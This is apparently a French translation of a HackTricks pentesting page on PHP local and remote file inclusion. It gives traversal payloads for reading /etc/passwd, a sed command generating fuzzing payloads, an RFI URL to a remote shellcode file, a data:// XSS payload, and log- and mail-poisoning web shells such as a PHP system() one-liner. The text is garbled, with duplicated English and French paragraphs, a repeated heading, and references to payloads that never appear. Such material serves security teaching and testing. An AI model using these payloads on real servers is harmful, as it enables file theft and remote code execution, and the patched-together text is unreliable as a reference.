* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé à partir d'un serveur distant (meilleur : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est **désactivé** par défaut (**allow\_url\_include**).\
**Inclusion de fichiers locaux (LFI) :** Le serveur charge un fichier local.
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=[http://monserveur.com/phpshellcode.txt\\](http://monserveur.com/phpshellcode.txt\)/).
En fonction du code applicatif / des caractères autorisés, il est peut-être possible d'explorer de manière récursive le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire :
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
* Si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
* Si vous obtenez une erreur / aucune sortie, le dossier `private` n'existe pas à cet emplacement
* Si vous obtenez le contenu de `/etc/passwd`, vous avez validé qu'il y a effectivement un dossier `private` dans votre répertoire courant
* Le(s) dossier(s) que vous avez découvert(s) en utilisant cette technique peuvent ensuite être fuzzés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire courant à une profondeur de 3 dans le système de fichiers), vous voulez vérifier si `/var/www/` contient un répertoire `private`, utilisez la charge utile suivante :
La séquence de commandes suivante permet de générer des charges utiles en utilisant `sed` (1) comme entrée pour des outils de fuzzing d'URL tels que `ffuf` (2) :
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
Remote File Inclusion (RFI) is a type of vulnerability most commonly found in web applications. It allows an attacker to include a remote file, usually through a script on the web server. This can lead to the execution of arbitrary code on the server, which can result in a full compromise of the system.
L'inclusion de fichier à distance (RFI) est un type de vulnérabilité le plus souvent trouvé dans les applications web. Elle permet à un attaquant d'inclure un fichier distant, généralement via un script sur le serveur web. Cela peut conduire à l'exécution de code arbitraire sur le serveur, ce qui peut entraîner une compromission complète du système.
### Exploitation
### Exploitation
The basic RFI attack involves injecting a URL that points to a remote file into a vulnerable parameter on the target web application. For example, if the application includes a file using the PHP `include()` function, an attacker could inject a URL that points to a malicious PHP script hosted on a remote server.
L'attaque RFI de base consiste à injecter une URL qui pointe vers un fichier distant dans un paramètre vulnérable de l'application web cible. Par exemple, si l'application inclut un fichier en utilisant la fonction `include()` de PHP, un attaquant pourrait injecter une URL qui pointe vers un script PHP malveillant hébergé sur un serveur distant.
When the vulnerable page is requested, the server will include the remote file specified in the `page` parameter, executing any code contained within it.
Lorsque la page vulnérable est demandée, le serveur inclura le fichier distant spécifié dans le paramètre `page`, exécutant tout code qu'il contient.
To prevent RFI attacks, it is important to properly validate and sanitize all user input, especially input that is used to construct file paths or URLs. Additionally, it is recommended to disable the `allow_url_include` and `allow_url_fopen` settings in PHP, which can be used to include remote files.
Pour prévenir les attaques RFI, il est important de valider et de nettoyer correctement toutes les entrées utilisateur, en particulier les entrées qui sont utilisées pour construire des chemins de fichiers ou des URL. De plus, il est recommandé de désactiver les paramètres `allow_url_include` et `allow_url_fopen` dans PHP, qui peuvent être utilisés pour inclure des fichiers distants.
Il semble que si vous avez une Traversal de chemin dans Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langues (à ma connaissance).
Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (à partir de [ce lien](https://twitter.com/trbughunters/status/1279768631845494787)):
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :
*`convert.iconv.*` : Transforme en une autre codification (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de toutes les codifications** prises en charge, exécutez dans la console : `iconv -l`
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme l'inclusion traite du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (je ne suis pas sûr de l'utilité de cela dans une attaque).
La technique de l'inclusion de fichiers peut également être utilisée pour accéder à des fichiers stockés dans des URL de type `data://`. Ces URL sont utilisées pour stocker des données en base64 dans l'URL elle-même. Pour inclure un fichier à partir d'une URL de ce type, il suffit de spécifier l'URL dans le paramètre de l'application vulnérable.
Par exemple, pour inclure le contenu d'un fichier `file.txt` stocké en base64 dans l'URL `data://`, on peut utiliser la chaîne suivante :
```
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
```
Dans cet exemple, le contenu du fichier `file.txt` est `Hello, World!`. La chaîne `SGVsbG8sIFdvcmxkIQ%3D%3D` est la représentation en base64 de ce contenu.
Il est important de noter que l'utilisation de l'inclusion de fichiers avec des URL de type `data://` peut être limitée par la taille maximale de l'URL que l'application peut accepter.
Fait amusant : vous pouvez déclencher une XSS et contourner l'auditeur de Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Si la LFI se contente de lire le fichier et de ne pas exécuter le code php à l'intérieur, par exemple en utilisant des fonctions telles que _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_, vous pouvez essayer d'abuser d'une **désérialisation** qui se produit lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de savoir comment cela peut être utile dans une attaque d'inclusion de fichier)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des noms de fichiers correspondant à un modèle (ne renvoie rien de lisible, donc pas vraiment utile ici)
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin d'accès** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
Dans [**ce post incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **gros** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, défini à l'intérieur de l'**agent utilisateur** ou à l'intérieur d'un **paramètre GET** une coquille php comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier.
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** et **rien d'autre ne sera exécuté**.
Assurez-vous également d'**écrire correctement la charge utile** ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance.
Cela pourrait également être fait dans d'autres journaux, mais **soyez prudent**, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la coquille. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. La PHPShell pourrait être insérée à l'intérieur de cet en-tête.\
Liste de mots pour fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
1. Téléchargez beaucoup de shells (par exemple : 100)
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé par bruteforce) et $FD le descripteur de fichier (peut être forcé par bruteforce aussi)
Les journaux de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **les filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
**Téléchargez** un fichier qui sera stocké temporairement dans `/tmp`, puis dans la **même requête,** déclenchez une **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pouvez le rechercher.
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir RCE :
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure a des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire **suspendre** l'exécution PHP du serveur, vous pourriez ensuite **forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour déclencher cette erreur).
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).